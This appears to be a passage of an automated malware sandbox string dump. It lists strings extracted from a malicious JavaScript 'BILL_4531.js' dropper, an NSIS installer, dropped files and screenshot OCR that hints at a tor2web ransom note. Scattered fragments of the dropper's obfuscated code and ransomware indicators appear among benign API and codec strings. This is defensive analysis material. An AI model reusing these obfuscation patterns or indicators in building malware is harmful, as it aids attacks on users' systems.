Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

ii-CN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ijtustys = 3 + ijtustys;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Illegal byte sequence

Ansi based on Dropped File (gmpopenh264.dll.97104820)

illegal pic_order_cnt_type: %d !

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Image Path

Unicode based on Runtime Data (wscript.exe )

ImageList_AddMasked

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ImageList_Create

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ImageList_Destroy

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ImpersonateLoggedOnUser

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Improper link

Ansi based on Dropped File (gmpopenh264.dll.97104820)

in Wordpress version 3.0.

Ansi based on Dropped File (nav.css)

Inappropriate I/O control operation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

index.php1553594928.html

Unicode based on Runtime Data (eXe )

INFORM_ION

Ansi based on Image Processing (screen_4.png)

InfoTip

Unicode based on Runtime Data (wscript.exe )

InitDecode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitDqLayers(), InitSlicePEncCtx failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitFolderHandler

Unicode based on Runtime Data (wscript.exe )

initialization.

Ansi based on Image Processing (screen_4.png)

InitializeCriticalSection

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

InitializeCriticalSectionAndSpinCount

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Initialized encoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Initializing Bit Rate at: Start:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Initializing encoder at

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitiateShutdownW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

InitSliceSettings(), invalid uiSliceMbNum (%d) settings!,now turn to SM_SINGLE_SLICE type

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitSliceSettings(), uiSliceNum(%d) you set for SM_AUTO_SLICE, now turn to SM_SINGLE_SLICE type!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InprocServer32

Unicode based on Runtime Data (wscript.exe )

Input/output error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Insight

Unicode based on Runtime Data (eXe )

install

Ansi based on Image Processing (screen_4.png)

installation,

Ansi based on Image Processing (screen_4.png)

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

instru_ions

Ansi based on Image Processing (screen_4.png)

Int64Op

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

inter parse: iMotionPredFlag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InterlockedCompareExchange

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

InterlockedDecrement

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

InterlockedExchange

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

InterlockedIncrement

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

InternalName

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Internet Explorer.lnk

Unicode based on Runtime Data (helper.exe )

Interrupted function call

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IntranetName

Unicode based on Runtime Data (wscript.exe )

Invalid argument

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid bitrate settings in layer %d, bitrate= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid bitrate settings in total configure, bitrate= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid parameter passed to C runtime function.

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Invalid pathname.

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Invalid PPS referenced

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid ref pPic list reordering syntaxs!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid seek

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid settings in bitrate. the sum of each layer bitrate(%d) is larger than total bitrate setting(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid settings in input frame rate(%.6f) or output frame rate(%.6f) of layer #%d config file..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid slice type(%d) in IDR picture.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid slice type(%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid string position

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax cabac_init_idc %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax chroma_qp_index_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax first_mb_in_slice %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax idr_pic_id %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax inter_layer_alpha_c0_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax inter_layer_slice_beta_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax log2_max_frame_num_minus4 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax log2_max_pic_order_cnt_lsb_minus4 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax max_num_ref_frames %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax num_ref_frames_in_pic_order_cnt_cycle %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax num_ref_idx_l0_active_minus1 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax pic_init_qp_minus26 + 26 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax pic_init_qs_minus26 + 26 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax redundant_pic_cnt %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_bottom_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_left_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_right_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_top_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax slice_alpha_c0_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax slice_beta_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax vertical mv %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid uiDisableDeblockingFilterIdc %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InvalidateRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

inxikulgig = inxikulgig + '8928';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

inxikulgig = omegoxab + umkelybd;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ion/5

Ansi based on Image Processing (screen_4.png)

ios_base::badbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ios_base::eofbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ios_base::failbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iostream

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iostream stream error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iPpsId out of range

Ansi based on Dropped File (gmpopenh264.dll.97104820)

irish-english

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iroregalp = 'pifcanzur';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

irwagotl = 'asifta' + irwagotl;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Is a directory

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsDebuggerPresent

Ansi based on Dropped File (gmpopenh264.dll.97104820)

isleadbyte

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

IsProcessorFeaturePresent

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iSpsId is out of range!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsShortcut

Unicode based on Runtime Data (wscript.exe )

IsTextUnicode

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

IsValidCodePage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsValidLocale

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

IsWindowEnabled

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

IsWindowVisible

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

it20W

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

italian-swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

itevd

Ansi based on Image Processing (screen_4.png)

itictysew = 5 + itictysew;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

itictysew = cuqtuz + jlyzifhuxc;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

itokig = 167;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

iu-Cans

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

iu-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

iu-Latn-CA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iUsageType = %d,iPicWidth= %d;iPicHeight= %d;iTargetBitrate= %d;iMaxBitrate= %d;iRCMode= %d;iPaddingFlag= %d;iTemporalLayerNum= %d;iSpatialLayerNum= %d;fFrameRate= %.6ff;uiIntraPeriod= %d; bEnableSpsPpsIdAddition = %d;bPrefixNalAddingCtrl = %d;bEnableDenoise= %d;bEnableBackgroundDetection= %d;bEnableAdaptiveQuant= %d;bEnableFrameSkip= %d;bEnableLongTermReference= %d;iLtrMarkPeriod= %d; iComplexityMode = %d;iNumRefFrame = %d;iEntropyCodingModeFlag = %d;uiMaxNalSize = %d;iLTRRefNum = %d;iMultipleThreadIdc = %d;iLoopFilterDisableIdc = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iVaaFrameSceneChangeIdc = %d,codingIdx = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IWSHRemoteErrorWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

JanFebMarAprMayJunJulAugSepOctNovDec

Ansi based on Dropped File (gmpopenh264.dll.97104820)

January

Ansi based on Dropped File (gmpopenh264.dll.97104820)

jkobeqivh = "ypbatkod";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

jywylgepsa = 12.33 + jywylgepsa;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

jzakuxymvi = 'wdyf' + 136.98;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

KeepAliveTimeout

Unicode based on Runtime Data (eXe )

KERNEL32

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Kernel32.DLL

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

KERNEL32.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

kernel32.dll

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

KERNEL32.DLL

Unicode based on Dropped File (gmpopenh264.dll.97104820)

ki/Adva

Ansi based on Image Processing (screen_4.png)

ki/RSA

Ansi based on Image Processing (screen_4.png)

KillTimer

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

kl-GL

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

km-KH

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

kn-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LanguageList

Unicode based on Runtime Data (helper.exe )

LC_ALL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_COLLATE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_CTYPE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_MONETARY

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_NUMERIC

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_TIME

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LCMapStringW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LdapClientIntegrity

Unicode based on Runtime Data (wscript.exe )

ldexp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LeashLegacyCookies

Unicode based on Runtime Data (eXe )

LeaveCriticalSection

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

left: -999em;

Ansi based on Dropped File (nav.css)

left:0;

Ansi based on Dropped File (nav.css)

left:100%;

Ansi based on Dropped File (nav.css)

LegalCopyright

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

length=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

length_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

Level is changed from (%d) to (%d) according to the maxbitrate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Levels

Unicode based on Runtime Data (wscript.exe )

leVersion

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

LibraryPath

Unicode based on Runtime Data (eXe )

line-height: 18px;

Ansi based on Dropped File (nav.css)

line-height:18px;

Ansi based on Dropped File (nav.css)

line-height:1em;

Ansi based on Dropped File (nav.css)

line-height:28px;

Ansi based on Dropped File (nav.css)

line-height:5px;

Ansi based on Dropped File (nav.css)

links:

Ansi based on Image Processing (screen_4.png)

list-style: none;

Ansi based on Dropped File (nav.css)

list-style:none;

Ansi based on Dropped File (nav.css)

LoadAppInit_DLLs

Unicode based on Runtime Data (wscript.exe )

LoadBitmapW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

LoadCursorW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

LoadImageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Loading your settings failed.,Execution of the Windows Script Host failed.,Unexpected error of the Windows Script Host._Windows Script Host access is disabled on this machine. Contact your administrator for details.<Attempt to execute Windows Script Host while it is disabled.SAttempt to execute Windows Script Host remotely while remote execution is disabled.

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

LoadLibraryA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LoadLibraryExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LoadLibraryExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LoadLibraryW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LoadResource

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LoadStringA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LoadStringW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LoadWithoutCOM

Unicode based on Runtime Data (wscript.exe )

Local

Unicode based on Runtime Data (helper.exe )

Local AppData

Unicode based on Runtime Data (eXe )

LocalAlloc

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Locale

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LocalFree

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LocalizedName

Unicode based on Runtime Data (wscript.exe )

LocalRedirectOnly

Unicode based on Runtime Data (wscript.exe )

LocalServer32

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

log10

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LogFileName

Unicode based on Runtime Data (wscript.exe )

LogSecurityFailures

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LogSecuritySuccesses

Unicode based on Runtime Data (wscript.exe )

LookupAccountNameW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LookupPrivilegeValueW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

LqM!

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

lstrcatW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcmpiA

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcmpiW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcmpW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcpyA

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcpynA

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

lstrcpynW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcpyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrlenA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

lstrlenW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LTR ,iMarkFrameNum invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LTR ,invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LTR mark mode =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Lyc>=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

m.,dz'_1rd,_omitevd2ab-3fk.tor2web.or

Ansi based on Image Processing (screen_4.png)

m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

Ansi based on Dropped File (home-&-garden)

m_pDecContext

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MachineGuid

Unicode based on Runtime Data (wscript.exe )

MachinePreferredUILanguages

Unicode based on Runtime Data (wscript.exe )

MachineThrottling

Unicode based on Runtime Data (wscript.exe )

malloc

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

MapNetDriveVerbs

Unicode based on Runtime Data (wscript.exe )

MapNetDrvBtn

Unicode based on Runtime Data (wscript.exe )

Mapping

Unicode based on Runtime Data (eXe )

MapViewOfFile

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

March

Ansi based on Dropped File (gmpopenh264.dll.97104820)

margin-bottom: 0;

Ansi based on Dropped File (home-&-garden)

margin-left: 0px;

Ansi based on Dropped File (nav.css)

margin-top:0px;

Ansi based on Dropped File (nav.css)

margin-top:132px;

Ansi based on Dropped File (nav.css)

margin-top:9px;

Ansi based on Dropped File (nav.css)

margin: -2em 0 0 172px;

Ansi based on Dropped File (nav.css)

margin: 0 auto;

Ansi based on Dropped File (nav.css)

margin: 0;

Ansi based on Dropped File (nav.css)

MartaExtension

Unicode based on Runtime Data (wscript.exe )

Max AU size exceeded. Allowed size = %d, current size = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

max_num_ref_frames exceeds level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MaxConnectionsPer1_0Server

Unicode based on Runtime Data (eXe )

MaxConnectionsPerProxy

Unicode based on Runtime Data (eXe )

MaxConnectionsPerServer

Unicode based on Runtime Data (eXe )

MaxFileSize

Unicode based on Runtime Data (eXe )

MaxHttpRedirects

Unicode based on Runtime Data (eXe )

MaximizeApps

Unicode based on Runtime Data (wscript.exe )

MaximumAllowedAllocationSize

Unicode based on Runtime Data (eXe )

MaxRpcSize

Unicode based on Runtime Data (wscript.exe )

MaxSockaddrLength

Unicode based on Runtime Data (eXe )

MaxSpatialBitrate (%d) is larger that the limitation LEVEL_5_2, the setting will be invalid

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MaxSpatialBitrate (%d) should be larger than SpatialBitrate (%d), considering it as error setting

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MaxSxSHashCount

Unicode based on Runtime Data (wscript.exe )

MBCSAPIforCrack

Unicode based on Runtime Data (eXe )

MBCSServername

Unicode based on Runtime Data (eXe )

MbP?[SetRates] Error in Setting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MbP?LTR ,iMarkFrameNum invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

mbtowc

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

mcerolvofw = '21554';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

memcpy

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

MemGetNextNal() fail due out of memory.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

memmove

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

memset

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

MessageBoxIndirectW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

MessageBoxW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

mHo_wD!____e

Ansi based on Image Processing (screen_4.png)

Microsoft Visual C++ Runtime Library

Unicode based on Dropped File (gmpopenh264.dll.97104820)

MigrateProxy

Unicode based on Runtime Data (eXe )

MimeExclusionListForCache

Unicode based on Runtime Data (eXe )

MinSockaddrLength

Unicode based on Runtime Data (eXe )

miZha Tamil Fonts Installer

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

MkParseDisplayName

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

MM/dd/yy

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMCO_LONG2LONG: delete a empty entry from short term list

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMCO_LONG2UNUSED: delete a empty entry from long term list

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMCO_SHORT2UNUSED: delete a empty entry from short term list

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMMM dd, yyyy

Unicode based on Dropped File (gmpopenh264.dll.97104820)

MNv6a1sy Setup

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Module32FirstW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Module32NextW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

moh-CA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Monday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MoveFileExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

MoveFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Mozilla Firefox

Unicode based on Runtime Data (helper.exe )

Mozilla Firefox.lnk

Unicode based on Runtime Data (helper.exe )

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Ansi based on PCAP Processing (PCAP)

Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0

Ansi based on PCAP Processing (PCAP)

mPJ)u

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

mPM)u

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

mrettugcyhe = 276;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

MS Shell Dlg

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

mscoree.dll

Unicode based on Dropped File (gmpopenh264.dll.97104820)

msctls_progress32

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

MsgWaitForMultipleObjects

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

msvcrt.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

mufixxa = 16.358 + mufixxa;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

MUI\%04hx

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

MUI\0409

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

MulDiv

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

MultiByteToWideChar

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

multithread lock error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

muqwem = 62 + muqwem;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

muqwem = odtuzhyspag + aponbu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

N'U''''b

Ansi based on Image Processing (screen_2.png)

NAL_UNIT_CODED_SLICE: InitBits() fail due invalid access.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

NAL_UNIT_PREFIX: InitBits() fail due invalid access.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Named Arguments Collection Object InterfaceWWW-

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Named Arguments Collection ObjectW#

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

NameSpace_Callout

Unicode based on Runtime Data (eXe )

nav.css

Unicode based on Runtime Data (eXe )

navigation bars. One for the page navigation,

Ansi based on Dropped File (nav.css)

nc_pt

Ansi based on Image Processing (screen_4.png)

NdrOleExtDLL

Unicode based on Runtime Data (wscript.exe )

nEs-128

Ansi based on Image Processing (screen_4.png)

NeverShowExt

Unicode based on Runtime Data (wscript.exe )

new-zealand

Ansi based on Dropped File (gmpopenh264.dll.97104820)

new[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Next_Catalog_Entry_ID

Unicode based on Runtime Data (eXe )

nibxygu = "13734" + nibxygu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

nikatez = '83642' + nikatez;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Nl,"=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

nl-BE

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

nnwww

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

No child processes

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

no input image

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No locks available

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No space left on device

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such device

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such device or address

